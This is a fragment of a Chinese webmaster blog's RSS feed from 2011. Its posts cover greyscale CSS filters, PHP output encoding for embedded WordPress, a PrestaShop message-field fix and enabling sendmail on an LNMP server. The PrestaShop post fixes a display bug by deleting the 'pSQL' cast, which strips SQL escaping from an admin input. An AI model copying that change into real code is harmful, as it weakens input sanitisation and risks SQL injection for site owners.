		<description><![CDATA[很多网站在重大的悼念活动时, 会把页面变成灰色, 就只有黑白两种颜色, 这种效果可以通过下面简单的几种方法做到. 1、CSS风格网站，将下面这段代码添加到网站css文件最顶端。 html { filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); } 或者：在css文件的body中加入filter:gray： body {filter:gray} 2、未启用CSS风格网站，在网页或者模板的HTML代码和之间插入以下代码： &#60;style&#62; html{filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);} &#60;/style&#62; 或者：在HTML的＜body＞标签加入css代码 在＜body＞标签中加入style=”filter:gray”： ＜BODY style=”filter:gray”＞ 注：加入这段代码可能会造成网站稍微卡。 WP的话非常简单，只需要把 html { filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); } 添加到style.css即可，进入WP网站后台—外观—编辑—右边最后一个就是了 推荐阅读网人网语收集Godaddy最新6月优惠码文字中间加横线和对文字打叉DEDE5.5最近不能采集图片本地化解决办法 网络笑话收集VPS性能测试程序UnixBench国外高性价比VPS-virpus集成google 百度 淘宝的搜索工具条DEDE自动生成关键字列表页面对百度很无奈]]></description>
			<content:encoded><![CDATA[<p>很多网站在重大的悼念活动时, 会把页面变成灰色, 就只有黑白两种颜色, 这种效果可以通过下面简单的几种方法做到.</p>
<p><span id="more-1236"></span>1、CSS风格网站，将下面这段代码添加到网站css文件最顶端。</p>
<table border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td bgcolor="#ddedfb">html { filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); }</td>
</tr>
</tbody>
</table>
<p>或者：在css文件的body中加入filter:gray：</p>
<table border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td bgcolor="#ddedfb">body {filter:gray}</td>
</tr>
</tbody>
</table>
<p>2、未启用CSS风格网站，在网页或者模板的HTML代码和之间插入以下代码：</p>
<table border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td bgcolor="#ddedfb">&lt;style&gt;<br />
html{filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);}<br />
&lt;/style&gt;</td>
</tr>
</tbody>
</table>
<p>或者：在HTML的＜body＞标签加入css代码</p>
<p>在＜body＞标签中加入style=”filter:gray”：</p>
<table border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td bgcolor="#ddedfb">＜BODY style=”filter:gray”＞</td>
</tr>
</tbody>
</table>
<p>注：加入这段代码可能会造成网站稍微卡。</p>
<p>WP的话非常简单，只需要把</p>
<table border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td bgcolor="#ddedfb">html { filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); }</td>
</tr>
</tbody>
</table>
<p>添加到style.css即可，进入WP网站后台—外观—编辑—右边最后一个就是了</p>
<div  class="related_post_title">推荐阅读</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/715.html" title="网人网语收集">网人网语收集</a></li><li><a href="http://www.dengor.com/archives/805.html" title="Godaddy最新6月优惠码">Godaddy最新6月优惠码</a></li><li><a href="http://www.dengor.com/archives/256.html" title="文字中间加横线和对文字打叉">文字中间加横线和对文字打叉</a></li><li><a href="http://www.dengor.com/archives/342.html" title="DEDE5.5最近不能采集图片本地化解决办法">DEDE5.5最近不能采集图片本地化解决办法</a></li><li><a href="http://www.dengor.com/archives/136.html" title=" 网络笑话收集"> 网络笑话收集</a></li><li><a href="http://www.dengor.com/archives/948.html" title="VPS性能测试程序UnixBench">VPS性能测试程序UnixBench</a></li><li><a href="http://www.dengor.com/archives/1258.html" title="国外高性价比VPS-virpus">国外高性价比VPS-virpus</a></li><li><a href="http://www.dengor.com/archives/291.html" title="集成google 百度  淘宝的搜索工具条">集成google 百度  淘宝的搜索工具条</a></li><li><a href="http://www.dengor.com/archives/532.html" title="DEDE自动生成关键字列表页面">DEDE自动生成关键字列表页面</a></li><li><a href="http://www.dengor.com/archives/539.html" title="对百度很无奈">对百度很无奈</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1236.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>使用PHP的header函数修改网页的输出编码</title>
		<link>http://www.dengor.com/archives/1162.html</link>
		<comments>http://www.dengor.com/archives/1162.html#comments</comments>
		<pubDate>Tue, 14 Jun 2011 01:08:55 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[编码]]></category>
		<category><![CDATA[输出]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1162</guid>
		<description><![CDATA[Header函数最常用的一个功能就是用来做页面的跳转,在php运行超时分步执行就用到了. 其实还可以利用header来重新定义网页的输出编码. 最近在做一个PHP页面中, 通过 require(&#8216;blog/wp-blog-header.php&#8217;); 这种方法引入wordpress,  因为wp是utf-8编码的,而页面又是gbk的, 所在输出网页的时候全部乱码了. 这时候用在&#60;meta申明 charset=gbk也是无效的, 只有在require后面加上这句: header(&#8220;Content-Type:text/html;charset=gbk&#8221;); 网页又完全正常了, 相当于重新定义了输出页面的编码. 另: 本地调用wordpress数据引入方法: &#60;?php define(&#8216;DB_CHARSET&#8217;, &#8216;gbk&#8217;); require(&#8216;blog/wp-blog-header.php&#8217;); header(&#8220;Content-Type:text/html;charset=gbk&#8221;); query_posts(&#8216;showposts=2&#8242;); ?&#62; &#60;?php while (have_posts()): the_post(); ?&#62; &#60;h3&#62;&#60;?php the_title() ?&#62;&#60;/h3&#62; &#60;?php the_excerpt() ?&#62; &#60;p&#62;&#60;a href=&#8221;&#60;?php the_permalink(); ?&#62;&#8221;&#62;Read more&#8230;&#60;/a&#62;&#60;/p&#62; &#60;?php endwhile; ?&#62; 其中define(&#8216;DB_CHARSET&#8217;, &#8216;gbk&#8217;); 是让wp输出gbk编辑的数据. 原创文章 转载请注明出处: 登高望远 [ http://www.dengor.com/archives/1162.html ] 相关文章PHP即时输出内容PHP几个常用的调试输出函数一个PHP木马的代码lnmp安装后进程优化让lnmp能用mail()函数来发邮件显示Deprecated: Assigning the return [...]]]></description>
			<content:encoded><![CDATA[<p>Header函数最常用的一个功能就是用来做页面的跳转,在<a rel="bookmark" href="../archives/789.html">php运行超时分步执行</a>就用到了. 其实还可以利用header来重新定义网页的输出编码.</p>
<p>最近在做一个PHP页面中, 通过</p>
<blockquote><p>require(&#8216;blog/wp-blog-header.php&#8217;);</p></blockquote>
<p><span id="more-1162"></span>这种方法引入wordpress,  因为wp是utf-8编码的,而页面又是gbk的, 所在输出网页的时候全部乱码了. 这时候用在&lt;meta申明 charset=gbk也是无效的, 只有在require后面加上这句:</p>
<blockquote><p>header(&#8220;Content-Type:text/html;charset=gbk&#8221;);</p></blockquote>
<p>网页又完全正常了, 相当于重新定义了输出页面的编码.</p>
<p>另: 本地调用wordpress数据引入方法:</p>
<blockquote><p>&lt;?php<br />
define(&#8216;DB_CHARSET&#8217;, &#8216;gbk&#8217;);<br />
require(&#8216;blog/wp-blog-header.php&#8217;);<br />
header(&#8220;Content-Type:text/html;charset=gbk&#8221;);<br />
query_posts(&#8216;showposts=2&#8242;);<br />
?&gt;<br />
&lt;?php<br />
while (have_posts()): the_post();<br />
?&gt;<br />
&lt;h3&gt;&lt;?php the_title() ?&gt;&lt;/h3&gt;<br />
&lt;?php the_excerpt() ?&gt;<br />
&lt;p&gt;&lt;a href=&#8221;&lt;?php the_permalink(); ?&gt;&#8221;&gt;Read more&#8230;&lt;/a&gt;&lt;/p&gt;<br />
&lt;?php endwhile; ?&gt;</p></blockquote>
<p>其中define(&#8216;DB_CHARSET&#8217;, &#8216;gbk&#8217;); 是让wp输出gbk编辑的数据.</p>
<p><span style="color: #a52a2a;">原创文章 转载请注明出处: <a href="../">登高望远</a> [ </span><a href="http://www.dengor.com/archives/1162.html">http://www.dengor.com/archives/1162.html</a><span> ]</span></p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/105.html" title="PHP几个常用的调试输出函数">PHP几个常用的调试输出函数</a></li><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1205.html" title="让lnmp能用mail()函数来发邮件">让lnmp能用mail()函数来发邮件</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1162.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prestashop设置Pre-defined message不换行问题</title>
		<link>http://www.dengor.com/archives/1210.html</link>
		<comments>http://www.dengor.com/archives/1210.html#comments</comments>
		<pubDate>Wed, 01 Jun 2011 07:14:20 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[message]]></category>
		<category><![CDATA[prestashop]]></category>
		<category><![CDATA[不换行]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1210</guid>
		<description><![CDATA[PrestaShop是一个开放免费的电子商务平台，拥有相当专业的功能、外观, 开放使用者自由下载、安装与使用. 现在版本更新到1.4了.因这是新的版本可能总有点bug. 在后台设置联系人的Pre-defined message不换行问题, 当想修改预置信息提交后, 换行会变成rnrn: 这个应该是提交的时候过滤了&#8221;/&#8221;的这个字符的原因. 修改的时候只要改一下文本框的设置就可以了. 在admin-&#62;tabs-&#62;AdminContacts.php 52行: &#8216;PS_CUSTOMER_SERVICE_SIGNATURE&#8217; =&#62; array(&#8216;title&#8217; =&#62; $this-&#62;l(&#8216;Pre-defined message&#8217;), &#8216;desc&#8217; =&#62; $this-&#62;l(&#8216;Please fill the message that appears by default when you answer a thread on the customer service page&#8217;), &#8216;cast&#8217; =&#62; &#8216;pSQL&#8217;, &#8216;type&#8217; =&#62; &#8216;textareaLang&#8217;, &#8216;identifier&#8217; =&#62; &#8216;value&#8217;, &#8216;cols&#8217; =&#62; 40, &#8216;rows&#8217; =&#62; 8 )); 改成: &#8216;PS_CUSTOMER_SERVICE_SIGNATURE&#8217; [...]]]></description>
			<content:encoded><![CDATA[<p>PrestaShop是一个开放免费的电子商务平台，拥有相当专业的功能、外观, 开放使用者自由下载、安装与使用. 现在版本更新到1.4了.因这是新的版本可能总有点bug.</p>
<p>在后台设置联系人的Pre-defined message不换行问题, 当想修改预置信息提交后, 换行会变成rnrn:</p>
<div id="attachment_1211" class="wp-caption aligncenter" style="width: 468px"><a rel="attachment wp-att-1211" href="http://www.dengor.com/archives/1210.html/pre-defined-message1"><img class="size-full wp-image-1211" title="pre-defined-message1" src="http://www.dengor.com/wp-content/uploads/2011/05/pre-defined-message1.jpg" alt="pre-defined-message1" width="458" height="157" /></a><p class="wp-caption-text">pre-defined-message1</p></div>
<p><span id="more-1210"></span>这个应该是提交的时候过滤了&#8221;/&#8221;的这个字符的原因.</p>
<p>修改的时候只要改一下文本框的设置就可以了. 在admin-&gt;tabs-&gt;AdminContacts.php 52行:</p>
<blockquote><p>&#8216;PS_CUSTOMER_SERVICE_SIGNATURE&#8217; =&gt; array(&#8216;title&#8217; =&gt; $this-&gt;l(&#8216;Pre-defined message&#8217;), &#8216;desc&#8217; =&gt; $this-&gt;l(&#8216;Please fill the message that appears by default when you answer a thread on the customer service page&#8217;), &#8216;cast&#8217; =&gt; &#8216;pSQL&#8217;, &#8216;type&#8217; =&gt; &#8216;textareaLang&#8217;, &#8216;identifier&#8217; =&gt; &#8216;value&#8217;,<br />
&#8216;cols&#8217; =&gt; 40, &#8216;rows&#8217; =&gt; 8<br />
));</p></blockquote>
<p>改成:</p>
<blockquote><p>&#8216;PS_CUSTOMER_SERVICE_SIGNATURE&#8217; =&gt; array(&#8216;title&#8217; =&gt; $this-&gt;l(&#8216;Pre-defined message&#8217;), &#8216;desc&#8217; =&gt; $this-&gt;l(&#8216;Please fill the message that appears by default when you answer a thread on the customer service page&#8217;), &#8216;type&#8217; =&gt; &#8216;textareaLang&#8217;, &#8216;identifier&#8217; =&gt; &#8216;value&#8217;,<br />
&#8216;cols&#8217; =&gt; 40, &#8216;rows&#8217; =&gt; 8<br />
));</p></blockquote>
<p>就是把&#8217;cast&#8217; =&gt; &#8216;pSQL&#8217;,删除就可以正常显示了.</p>
<div id="attachment_1212" class="wp-caption aligncenter" style="width: 475px"><a rel="attachment wp-att-1212" href="http://www.dengor.com/archives/1210.html/pre-defined-message2"><img class="size-full wp-image-1212" title="Pre-defined-message2" src="http://www.dengor.com/wp-content/uploads/2011/05/Pre-defined-message2.jpg" alt="Pre-defined-message2.jpg" width="465" height="156" /></a><p class="wp-caption-text">Pre-defined-message2.jpg</p></div>
<p>这修改后就不会对其中的&#8221;/&#8221; 被替换掉.</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1358.html" title="[转]prestashop 1.4.4的lighttpd rewrite规则">[转]prestashop 1.4.4的lighttpd rewrite规则</a></li><li><a href="http://www.dengor.com/archives/1291.html" title="prestashop在lnmpa下图片不显示问题">prestashop在lnmpa下图片不显示问题</a></li><li><a href="http://www.dengor.com/archives/931.html" title="实现Prestashop在nginx中的url重写">实现Prestashop在nginx中的url重写</a></li><li><a href="http://www.dengor.com/archives/907.html" title="快速定位Prestashop模块文件的位置">快速定位Prestashop模块文件的位置</a></li><li><a href="http://www.dengor.com/archives/900.html" title="Prestashop通过CSV文件导入图片问题">Prestashop通过CSV文件导入图片问题</a></li><li><a href="http://www.dengor.com/archives/897.html" title="理解免费网店系统prestashop中的hook概念">理解免费网店系统prestashop中的hook概念</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1210.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>让lnmp能用mail()函数来发邮件</title>
		<link>http://www.dengor.com/archives/1205.html</link>
		<comments>http://www.dengor.com/archives/1205.html#comments</comments>
		<pubDate>Wed, 18 May 2011 08:59:45 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[软件系统]]></category>
		<category><![CDATA[lnmp]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[发邮件]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1205</guid>
		<description><![CDATA[一直很奇怪, 好久没有收到WP发过来的邮件, 想了一下应该是服务器环境不支持mail()函数的原因, 测试了下,  真的是这样. vps是用lnmp的环境,相信很多朋友都会这样的问题, 可能是sendmail没有工作,  要让他工作执行以下设置就可以了. yum install sendmail chkconfig sendmail /root/lnmp restart /etc/init.d/sendmail start 这样能用mail()函数来发邮件. 相关文章更新源问题导致debian6下Lnmp无法安装成功lnmp安装后进程优化prestashop在lnmpa下图片不显示问题Nginx(LNMP)反向代理配置教程[转]使用PHP的header函数修改网页的输出编码Linux系统中IPtables设置基础知识 在CentOS中安装lnmp防火墙要打开80端口JavaScript字符处理函数PHP几个常用的调试输出函数]]></description>
			<content:encoded><![CDATA[<p>一直很奇怪, 好久没有收到WP发过来的邮件, 想了一下应该是服务器环境不支持mail()函数的原因, 测试了下,  真的是这样. <a href="http://www.dengor.com/hop/burst" target="_blank">vps</a>是用lnmp的环境,相信很多朋友都会这样的问题, 可能是sendmail没有工作,  要让他工作执行以下设置就可以了.</p>
<p><span id="more-1205"></span></p>
<blockquote><p>yum install sendmail<br />
chkconfig sendmail<br />
/root/lnmp restart<br />
/etc/init.d/sendmail start</p></blockquote>
<p>这样能用<a href="http://www.dengor.com/archives/1205.html">mail()函数来发邮件</a>.</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1356.html" title="更新源问题导致debian6下Lnmp无法安装成功">更新源问题导致debian6下Lnmp无法安装成功</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1291.html" title="prestashop在lnmpa下图片不显示问题">prestashop在lnmpa下图片不显示问题</a></li><li><a href="http://www.dengor.com/archives/1267.html" title="Nginx(LNMP)反向代理配置教程[转]">Nginx(LNMP)反向代理配置教程[转]</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1150.html" title="Linux系统中IPtables设置基础知识">Linux系统中IPtables设置基础知识</a></li><li><a href="http://www.dengor.com/archives/1148.html" title=" 在CentOS中安装lnmp防火墙要打开80端口"> 在CentOS中安装lnmp防火墙要打开80端口</a></li><li><a href="http://www.dengor.com/archives/761.html" title="JavaScript字符处理函数">JavaScript字符处理函数</a></li><li><a href="http://www.dengor.com/archives/105.html" title="PHP几个常用的调试输出函数">PHP几个常用的调试输出函数</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1205.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

